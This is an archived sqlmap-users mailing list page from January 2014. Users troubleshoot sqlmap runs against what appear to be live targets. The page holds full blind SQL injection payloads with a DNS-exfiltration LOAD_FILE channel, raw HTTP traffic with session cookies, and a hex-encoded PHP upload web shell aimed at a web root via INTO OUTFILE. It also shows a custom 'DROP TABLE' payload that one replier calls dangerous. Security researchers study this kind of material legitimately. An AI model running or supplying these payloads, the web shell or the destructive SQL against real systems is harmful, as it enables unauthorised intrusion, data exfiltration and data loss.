Cookie: Login=1;activeProfile=16469185;serviceID=1320;91370904fbecd1edf649755d657f5d32=97t8br06sreu9r846bai0t2pj0;mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec > Connection: close > > [18:22:19] [TRAFFIC IN] HTTP response [#3] (200 OK): > Content-length: 8627 > Content-encoding: gzip > Set-cookie: serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; httponly, serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; httponly, mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec; expires=Thu, 22-Jan-2015 23:22:20 GMT; path=/; httponly > Expires: Mon, 1 Jan 2001 00:00:00 GMT > Vary: Accept-Encoding > Uri: https://target.net:443/administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate > Server: Apache > Last-modified: Wed, 22 Jan 2014 23:22:20 GMT > Connection: close > Pragma: no-cache > Cache-control: post-check=0, pre-check=0 > Date: Wed, 22 Jan 2014 23:22:20 GMT > P3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" > Content-type: text/html; charset=utf-8 > > [18:22:19] [DEBUG] performed 1 queries in 0.51 seconds > [18:22:19] [ERROR] data retrieval through DNS channel failed. Turning off DNS exfiltration support > =============================================== > > If I run a tcpdump on the sqlmap machine, I see dns requests come in for “target.net” and if I do manual dns queries to the domain I own, sqlmap responds as expected with localhost.domain.com. > > > Any idea? Am I doing anything wrong? > > > Chris > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > > > -- > Miroslav Stampar > http://about.me/stamparm |
|
From: Miroslav S. <mir...@gm...> - 2014-01-23 07:42:40
|
Hi Chris. It looks quite right. It would be tremendously helpful if you could send a console output and a tcpdump (you can limit to only port 53) for a following run: sudo python sqlmap.py -u "...." --flush-session --banner --dns-domain="..." >From your given description it looks like everything should be up and running. Kind regards, Miroslav Stampar On Thu, Jan 23, 2014 at 12:46 AM, Chris Clements <ccl...@ou...>wrote: > Hey all, > > I’ve got a blind sqli that I’m exploiting with the latest sqlmap commit > and am trying to get dns exfil to work, but am not having any luck. > > I start sqlmap as root with the —dns-domain option set to a domain that I > control and have the sqlmap machine set as the authoritative NS for. > Running with a -v6, this is the info I get: > > =============================================== > [18:22:18] [INFO] testing for data retrieval through DNS channel > [18:22:18] [PAYLOAD] -2931 OR 7252=IF((ORD(MID((SELECT > LOAD_FILE(CONCAT(0x5c5c5c5c4d776a2e,(SELECT HEX(MID((IFNULL(CAST(8315 AS > CHAR),0x20)),1,31))),0x2e79564e2e73656375726566696c652e6e65745c5c7456414c))),6,1))>953),SLEEP(5),7252)-- > PyBa > [18:22:18] [TRAFFIC OUT] HTTP request [#3]: > GET > /administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate > HTTP/1.1 > Accept-language: en-us,en;q=0.5 > Accept-encoding: gzip,deflate > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 > User-agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) > Gecko/2008071719 Firefox/3.0.1 > Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 > > Pragma: no-cache > Cache-control: no-cache,no-store > Cookie: > Login=1;activeProfile=16469185;serviceID=1320;91370904fbecd1edf649755d657f5d32=97t8br06sreu9r846bai0t2pj0;mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec > Connection: close > > [18:22:19] [TRAFFIC IN] HTTP response [#3] (200 OK): > Content-length: 8627 > Content-encoding: gzip > Set-cookie: serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; > httponly, serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; > httponly, mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec; expires=Thu, > 22-Jan-2015 23:22:20 GMT; path=/; httponly > Expires: Mon, 1 Jan 2001 00:00:00 GMT > Vary: Accept-Encoding > Uri: > https://target.net:443/administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate > Server: Apache > Last-modified: Wed, 22 Jan 2014 23:22:20 GMT > Connection: close > Pragma: no-cache > Cache-control: post-check=0, pre-check=0 > Date: Wed, 22 Jan 2014 23:22:20 GMT > P3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" > Content-type: text/html; charset=utf-8 > > [18:22:19] [DEBUG] performed 1 queries in 0.51 seconds > [18:22:19] [ERROR] data retrieval through DNS channel failed. Turning off > DNS exfiltration support > =============================================== > > If I run a tcpdump on the sqlmap machine, I see dns requests come in for “ > target.net” and if I do manual dns queries to the domain I own, sqlmap > responds as expected with localhost.domain.com. > > > Any idea? Am I doing anything wrong? > > > Chris > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar http://about.me/stamparm |
|
From: Miroslav S. <mir...@gm...> - 2014-01-23 07:33:56
|
Hi. Thank you for your report. Find it "patched" now. Bye On Wed, Jan 15, 2014 at 8:24 PM, taks eiole <see...@ho...> wrote: > [21:22:31] [WARNING] unknown web page charset 'ansi'. Please report by > e-mail to > sql...@li.... > > Here it is! > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > -- Miroslav Stampar http://about.me/stamparm |
|
From: Chris C. <ccl...@ou...> - 2014-01-22 23:46:46
|
Hey all, I’ve got a blind sqli that I’m exploiting with the latest sqlmap commit and am trying to get dns exfil to work, but am not having any luck. I start sqlmap as root with the —dns-domain option set to a domain that I control and have the sqlmap machine set as the authoritative NS for. Running with a -v6, this is the info I get: =============================================== [18:22:18] [INFO] testing for data retrieval through DNS channel [18:22:18] [PAYLOAD] -2931 OR 7252=IF((ORD(MID((SELECT LOAD_FILE(CONCAT(0x5c5c5c5c4d776a2e,(SELECT HEX(MID((IFNULL(CAST(8315 AS CHAR),0x20)),1,31))),0x2e79564e2e73656375726566696c652e6e65745c5c7456414c))),6,1))>953),SLEEP(5),7252)-- PyBa [18:22:18] [TRAFFIC OUT] HTTP request [#3]: GET /administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate HTTP/1.1 Accept-language: en-us,en;q=0.5 Accept-encoding: gzip,deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 Pragma: no-cache Cache-control: no-cache,no-store Cookie: Login=1;activeProfile=16469185;serviceID=1320;91370904fbecd1edf649755d657f5d32=97t8br06sreu9r846bai0t2pj0;mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec Connection: close [18:22:19] [TRAFFIC IN] HTTP response [#3] (200 OK): Content-length: 8627 Content-encoding: gzip Set-cookie: serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; httponly, serviceID=1320; expires=Thu, 23-Jan-2014 00:22:20 GMT; path=/; httponly, mcid_token=0c7264be-28af-41b8-8c77-01c4fdc395ec; expires=Thu, 22-Jan-2015 23:22:20 GMT; path=/; httponly Expires: Mon, 1 Jan 2001 00:00:00 GMT Vary: Accept-Encoding Uri: https://target.net:443/administrator/index.php?option=com_mcsearch&templateId=-2931%20OR%207252%3DIF%28%28ORD%28MID%28%28SELECT%20LOAD_FILE%28CONCAT%280x5c5c5c5c4d776a2e%2C%28SELECT%20HEX%28MID%28%28IFNULL%28CAST%288315%20AS%20CHAR%29%2C0x20%29%29%2C1%2C31%29%29%29%2C0x2e79564e2e73656375726566696c652e6e65745c5c7456414c%29%29%29%2C6%2C1%29%29%3E953%29%2CSLEEP%285%29%2C7252%29--%20PyBa/&view=searchtemplate Server: Apache Last-modified: Wed, 22 Jan 2014 23:22:20 GMT Connection: close Pragma: no-cache Cache-control: post-check=0, pre-check=0 Date: Wed, 22 Jan 2014 23:22:20 GMT P3p: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-type: text/html; charset=utf-8 [18:22:19] [DEBUG] performed 1 queries in 0.51 seconds [18:22:19] [ERROR] data retrieval through DNS channel failed. Turning off DNS exfiltration support =============================================== If I run a tcpdump on the sqlmap machine, I see dns requests come in for “target.net” and if I do manual dns queries to the domain I own, sqlmap responds as expected with localhost.domain.com. Any idea? Am I doing anything wrong? Chris |
|
From: Miroslav S. <mir...@gm...> - 2014-01-22 20:19:57
|
Hi. Have you considered that it might be behind some WAF? Bye On Jan 22, 2014 6:28 AM, "Alok Kumar" <myp...@gm...> wrote: > Hello members, need your help to solve this mystery, > my manual assessment against a web application revealed possibility of > sqlinjection vulnerability which has been reconfirmed using Netsparker > automated web application assessment tool. > > I then used sqlmap to exploit the sqlinjection flaw to do something > interesting but none of them worked for me, even sqlmap says the parameter > is injectable and infact it actually exploited the issue but unfortunately > with ZERO results. > > I tried almost everything from "--current-db, --dbs, --banner", and > everything found to be executed with result value as NONE. > > I even tried --sql-shell which gave me an sql-shell> prompt, but whatever > query I tried it gave ZERO result without any error, I did tried some > custom query but that didn't worked because of Stacked query limitation. > > I'm positively sure that target parameter is injectable but couldn't make > out why it is not executing and/or giving any response to my query > > Please help me in this, Thanks in advance! > > I have also posted two of the query which I executed for your reference. > > > SQLMap query output > ************************************************************** First query > ************************************************************** > > root@bt:/pentest/database/sqlmap# ./sqlmap.py -u > http://www.xxxxxx.com/xxx10.php?cid=1111111 --current-db --no-cast > --time-sec=10 -t xxix-output > > sqlmap/1.0-dev-7ba9e75 - automatic SQL injection and database takeover > tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and are not responsible for any misuse or damage caused by this program > > [*] starting at 18:54:00 > > [18:54:00] [INFO] setting file for logging HTTP traffic > [18:54:00] [INFO] resuming back-end DBMS 'mysql' > [18:54:00] [INFO] testing connection to the target URL > [18:54:00] [INFO] heuristics detected web page charset 'ISO-8859-2' > sqlmap identified the following injection points with a total of 0 HTTP(s) > requests: > --- > Place: GET > Parameter: cid > Type: boolean-based blind > Title: AND boolean-based blind - WHERE or HAVING clause > Payload: cid=1111111 AND 1062=1062 > > Type: AND/OR time-based blind > Title: MySQL > 5.0.11 AND time-based blind > Payload: cid=1111111 AND SLEEP(10) > --- > [18:54:00] [INFO] the back-end DBMS is MySQL > web server operating system: Linux Ubuntu > web application technology: Nginx, PHP 5.3.10 > back-end DBMS: MySQL 5.0.11 > [18:54:00] [INFO] fetching current database > [18:54:00] [WARNING] running in a single-thread mode. Please consider > usage of option '--threads' for faster data retrieval > [18:54:00] [INFO] retrieved: > [18:54:01] [INFO] heuristics detected web page charset 'ascii' > > [18:54:01] [WARNING] time-based comparison needs larger statistical model. > Making a few dummy requests, please wait.. > [18:54:07] [WARNING] it is very important not to stress the network > adapter's bandwidth during usage of time-based payloads > > [18:54:08] [WARNING] in case of continuous data retrieval problems you are > advised to try a switch '--no-cast' or switch '--hex' > current database: None > [18:54:08] [INFO] fetched data logged to text files under > '/pentest/database/sqlmap/output/www.xxxxxx.com' > > [*] shutting down at 18:54:08 > > > ************************************************************** Second > query ************************************************************** > root@bt:/pentest/database/sqlmap# ./sqlmap.py -u > http://www.xxxxxx.com/xxx10.php?cid=1111111 --time-sec=10 --sql-shell > sqlmap/1.0-dev-7ba9e75 - automatic SQL injection and database takeover > tool > http://sqlmap.org > > [!] legal disclaimer: Usage of sqlmap for attacking targets without prior > mutual consent is illegal. It is the end user's responsibility to obey all > applicable local, state and federal laws. Developers assume no liability > and are not responsible for any misuse or damage caused by this program > > [*] starting at 18:18:17 > > [18:18:17] [INFO] resuming back-end DBMS 'mysql' > [18:18:17] [INFO] testing connection to the target URL > [18:18:18] [INFO] heuristics detected web page charset 'ISO-8859-2' > sqlmap identified the following injection points with a total of 0 HTTP(s) > requests: > --- > Place: GET > Parameter: cid > Type: boolean-based blind > Title: AND boolean-based blind - WHERE or HAVING clause > Payload: cid=1111111 AND 1062=1062 > > Type: AND/OR time-based blind > Title: MySQL > 5.0.11 AND time-based blind > Payload: cid=1111111 AND SLEEP(10) > --- > [18:18:18] [INFO] the back-end DBMS is MySQL > web server operating system: Linux Ubuntu > web application technology: Nginx, PHP 5.3.10 > back-end DBMS: MySQL 5.0.11 > [18:18:18] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press > ENTER > sql-shell> user() > [18:18:25] [INFO] fetching SQL query output: 'user()' > [18:18:25] [WARNING] running in a single-thread mode. Please consider > usage of option '--threads' for faster data retrieval > [18:18:25] [INFO] retrieved: > [18:18:25] [INFO] heuristics detected web page charset 'ascii' > > [18:18:26] [WARNING] time-based comparison needs larger statistical model. > Making a few dummy requests, please wait.. > [18:18:32] [WARNING] it is very important not to stress the network > adapter's bandwidth during usage of time-based payloads > > [18:18:33] [WARNING] in case of continuous data retrieval problems you are > advised to try a switch '--no-cast' or switch '--hex' > sql-shell> user() --hex > [18:18:59] [INFO] fetching SQL query output: 'user() --hex' > [18:18:59] [INFO] retrieved: > [18:19:00] [INFO] retrieved: > sql-shell> select > 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e > into "/var/www/xxxxxx.com/upload.php"; --hex > [18:19:16] [WARNING] execution of custom SQL queries is only available > when stacked queries are supported > sql-shell> db_name --hex > [18:19:29] [INFO] fetching SQL query output: 'db_name --hex' > [18:19:29] [INFO] retrieved: > [18:19:29] [INFO] retrieved: > sql-shell> x > [18:19:39] [INFO] fetched data logged to text files under > '/pentest/database/sqlmap/output/www.xxxxxx.com' > > [*] shutting down at 18:19:39 > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > > |
|
From: Alok K. <myp...@gm...> - 2014-01-22 05:28:07
|
Hello members, need your help to solve this mystery, my manual assessment against a web application revealed possibility of sqlinjection vulnerability which has been reconfirmed using Netsparker automated web application assessment tool. I then used sqlmap to exploit the sqlinjection flaw to do something interesting but none of them worked for me, even sqlmap says the parameter is injectable and infact it actually exploited the issue but unfortunately with ZERO results. I tried almost everything from "--current-db, --dbs, --banner", and everything found to be executed with result value as NONE. I even tried --sql-shell which gave me an sql-shell> prompt, but whatever query I tried it gave ZERO result without any error, I did tried some custom query but that didn't worked because of Stacked query limitation. I'm positively sure that target parameter is injectable but couldn't make out why it is not executing and/or giving any response to my query Please help me in this, Thanks in advance! I have also posted two of the query which I executed for your reference. SQLMap query output ************************************************************** First query ************************************************************** root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://www.xxxxxx.com/xxx10.php?cid=1111111 --current-db --no-cast --time-sec=10 -t xxix-output sqlmap/1.0-dev-7ba9e75 - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 18:54:00 [18:54:00] [INFO] setting file for logging HTTP traffic [18:54:00] [INFO] resuming back-end DBMS 'mysql' [18:54:00] [INFO] testing connection to the target URL [18:54:00] [INFO] heuristics detected web page charset 'ISO-8859-2' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: cid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cid=1111111 AND 1062=1062 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cid=1111111 AND SLEEP(10) --- [18:54:00] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL 5.0.11 [18:54:00] [INFO] fetching current database [18:54:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [18:54:00] [INFO] retrieved: [18:54:01] [INFO] heuristics detected web page charset 'ascii' [18:54:01] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait.. [18:54:07] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads [18:54:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' current database: None [18:54:08] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.xxxxxx.com' [*] shutting down at 18:54:08 ************************************************************** Second query ************************************************************** root@bt:/pentest/database/sqlmap# ./sqlmap.py -u http://www.xxxxxx.com/xxx10.php?cid=1111111 --time-sec=10 --sql-shell sqlmap/1.0-dev-7ba9e75 - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 18:18:17 [18:18:17] [INFO] resuming back-end DBMS 'mysql' [18:18:17] [INFO] testing connection to the target URL [18:18:18] [INFO] heuristics detected web page charset 'ISO-8859-2' sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: cid Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cid=1111111 AND 1062=1062 Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cid=1111111 AND SLEEP(10) --- [18:18:18] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL 5.0.11 [18:18:18] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql-shell> user() [18:18:25] [INFO] fetching SQL query output: 'user()' [18:18:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [18:18:25] [INFO] retrieved: [18:18:25] [INFO] heuristics detected web page charset 'ascii' [18:18:26] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait.. [18:18:32] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based payloads [18:18:33] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' sql-shell> user() --hex [18:18:59] [INFO] fetching SQL query output: 'user() --hex' [18:18:59] [INFO] retrieved: [18:19:00] [INFO] retrieved: sql-shell> select 0x3c666f726d20656e63747970653d226d756c7469706172742f666f726d2d646174612220616374696f6e3d2275706c6f61642e70687022206d6574686f643d22504f5354223e3c696e707574206e616d653d2275706c6f6164656466696c652220747970653d2266696c65222f3e3c696e70757420747970653d227375626d6974222076616c75653d2255706c6f61642046696c65222f3e3c2f666f726d3e0d0a3c3f70687020247461726765745f706174683d626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d293b6966286d6f76655f75706c6f616465645f66696c6528245f46494c45535b2775706c6f6164656466696c65275d5b27746d705f6e616d65275d2c247461726765745f7061746829297b6563686f20626173656e616d6528245f46494c45535b2775706c6f6164656466696c65275d5b276e616d65275d292e2220686173206265656e2075706c6f61646564223b7d656c73657b6563686f20224572726f7221223b7d3f3e into "/var/www/xxxxxx.com/upload.php"; --hex [18:19:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported sql-shell> db_name --hex [18:19:29] [INFO] fetching SQL query output: 'db_name --hex' [18:19:29] [INFO] retrieved: [18:19:29] [INFO] retrieved: sql-shell> x [18:19:39] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.xxxxxx.com' [*] shutting down at 18:19:39 |
|
From: mitchell <mit...@tu...> - 2014-01-21 15:12:32
|
I can hardly call this "detection"; looks more like "intrusion" to me. ~~ # mitchell On Tue, Jan 21, 2014 at 4:43 PM, l.g. <ibo...@go...> wrote: > Miroslav Stampar <miroslav.stampar@...> writes: > > > > > > > So you made a "DROP TABLE" payload :)) > > I am not sure if this is a joke or for real?! > > > > Kind regards, > > Miroslav Stampar > > > > I just made a really simple vulnerable test webapplication with a datagrid > bound to a table and a textbox where the the user types strings to populate > the table; I verified that if I manually enter c'); DROP TABLE [testTable] > - > - into the textbox the table is actually dropped. I think Sqlmap is able to > detect such a vulnerability with a proper extension of payloads.xml. Am I > wrong? > > > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > |
|
From: Miroslav S. <mir...@gm...> - 2014-01-21 14:49:38
|
It should be detected as "stacked" in your case (using timing attack - not dropping tables). Which DBMS are we talking here about and which OS is it running on (e.g. MySQL on Linux)? Bye On Tue, Jan 21, 2014 at 3:43 PM, l.g. <ibo...@go...> wrote: > Miroslav Stampar <miroslav.stampar@...> writes: > > > > > > > So you made a "DROP TABLE" payload :)) > > I am not sure if this is a joke or for real?! > > > > Kind regards, > > Miroslav Stampar > > > > I just made a really simple vulnerable test webapplication with a datagrid > bound to a table and a textbox where the the user types strings to populate > the table; I verified that if I manually enter c'); DROP TABLE [testTable] > - > - into the textbox the table is actually dropped. I think Sqlmap is able to > detect such a vulnerability with a proper extension of payloads.xml. Am I > wrong? > > > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > -- Miroslav Stampar http://about.me/stamparm |
|
From: Chris O. <chr...@gm...> - 2014-01-21 14:48:31
|
You're not wrong in that it is possible to create such payloads, but you do realize how absolutely ridiculous and dangerous this is outside of your test system, right? You'd like the tool to start destroying whole tables at a time, in an automated fashion, just to see if there's a SQLi flaw?! I can't think of a single use case where this would be even close to a good idea. In fact, it's horrifying. On 21 January 2014 14:43, l.g. <ibo...@go...> wrote: > Miroslav Stampar <miroslav.stampar@...> writes: > > > > > > > So you made a "DROP TABLE" payload :)) > > I am not sure if this is a joke or for real?! > > > > Kind regards, > > Miroslav Stampar > > > > I just made a really simple vulnerable test webapplication with a datagrid > bound to a table and a textbox where the the user types strings to populate > the table; I verified that if I manually enter c'); DROP TABLE [testTable] > - > - into the textbox the table is actually dropped. I think Sqlmap is able to > detect such a vulnerability with a proper extension of payloads.xml. Am I > wrong? > > > > > > ------------------------------------------------------------------------------ > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > Learn Why More Businesses Are Choosing CenturyLink Cloud For > Critical Workloads, Development Environments & Everything In Between. > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk?id=119420431&iu=/4140/ostg.clktrk > _______________________________________________ > sqlmap-users mailing list > sql...@li... > https://lists.sourceforge.net/lists/listinfo/sqlmap-users > |
|
From: l.g. <ibo...@go...> - 2014-01-21 14:44:05
|
Miroslav Stampar <miroslav.stampar@...> writes: > > > So you made a "DROP TABLE" payload :)) > I am not sure if this is a joke or for real?! > > Kind regards, > Miroslav Stampar > I just made a really simple vulnerable test webapplication with a datagrid bound to a table and a textbox where the the user types strings to populate the table; I verified that if I manually enter c'); DROP TABLE [testTable] - - into the textbox the table is actually dropped. I think Sqlmap is able to detect such a vulnerability with a proper extension of payloads.xml. Am I wrong? |
|
From: Miroslav S. <mir...@gm...> - 2014-01-21 13:22:27
|
So you made a "DROP TABLE" payload :)) I am not sure if this is a joke or for real?! Kind regards, Miroslav Stampar On Tue, Jan 21, 2014 at 10:24 AM, l.g. <ibo...@go...> wrote: > <l.g> writes: > > > > > hi! In payloads.xml I substituted this snippet: > > > > - <!-- End of AGAINST boolean full-text search boundaries > > --> > > - <!-- Boolean-based blind tests - WHERE/HAVING clause > > --> > > - <test> > > - <test> > > <title>drop table attack</title> > > <stype>2</stype> > > <level>1</level> > > <risk>5</risk> > > <clause>1</clause> > > <where>1</where> > > <vector>c'); DROP TABLE [testTable] --</vector> > > - <request> > > <payload>c'); DROP TABLE [testTable] --</payload> > > <comment>--</comment> > > </request> > > - <response> > > <grep>object</grep> > > </response> > > - <details> > > <dbms>Microsoft SQL Server</dbms> > > </details> > > </test> > > - <test> > > <title>AND boolean-based blind - WHERE or HAVING clause</title> > > <stype>1</stype> > > <level>1</level> > > <risk>1</risk> > > <clause>1</clause> > > <where>1</where> > > <vector>AND [INFERENCE]</vector> > > - <request> > > <payload>AND [RANDNUM]=[RANDNUM]</payload> > > </request> > > - <response> > > <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> > > </response> > > </test> > > > > with this: > > > > - <!-- End of AGAINST boolean full-text search boundaries > > --> > > - <!-- Boolean-based blind tests - WHERE/HAVING clause > > --> > > - <test> > > - <test> > > <title>AND boolean-based blind - WHERE or HAVING clause</title> > > <stype>1</stype> > > <level>1</level> > > <risk>1</risk> > > <clause>1</clause> > > <where>1</where> > > <vector>AND [INFERENCE]</vector> > > - <request> > > <payload>AND [RANDNUM]=[RANDNUM]</payload> > > </request> > > - <response> > > <comparison>AND [RANDNUM]=[RANDNUM1]</comparison> > > </response> > > </test> > > > > but it doesn't work.. > > thank you > > > > > -------------------------------------------------------------------------- > ---- > > CenturyLink Cloud: The Leader in Enterprise Cloud Services. > > Learn Why More Businesses Are Choosing CenturyLink Cloud For > > Critical Workloads, Development Environments & Everything In Between. > > Get a Quote or Start a Free Trial Today. > > http://pubads.g.doubleclick.net/gampad/clk? > id=119420431&iu=/4140/ostg.clktrk > > > Sorry! I inverted the snippets in the previous post.. > > this is what I added to std xml: > > - <test> > <title>drop table attack</title> > <stype>2</stype> > <level>1</level> > <risk>5</risk> > <clause>1</clause> > <where>1</where> > <vector>c'); DROP TABLE [testTable] --</vector> > - <request> > <payload>c'); DROP TABLE [testTable] --</payload> > <comment>--</comment> 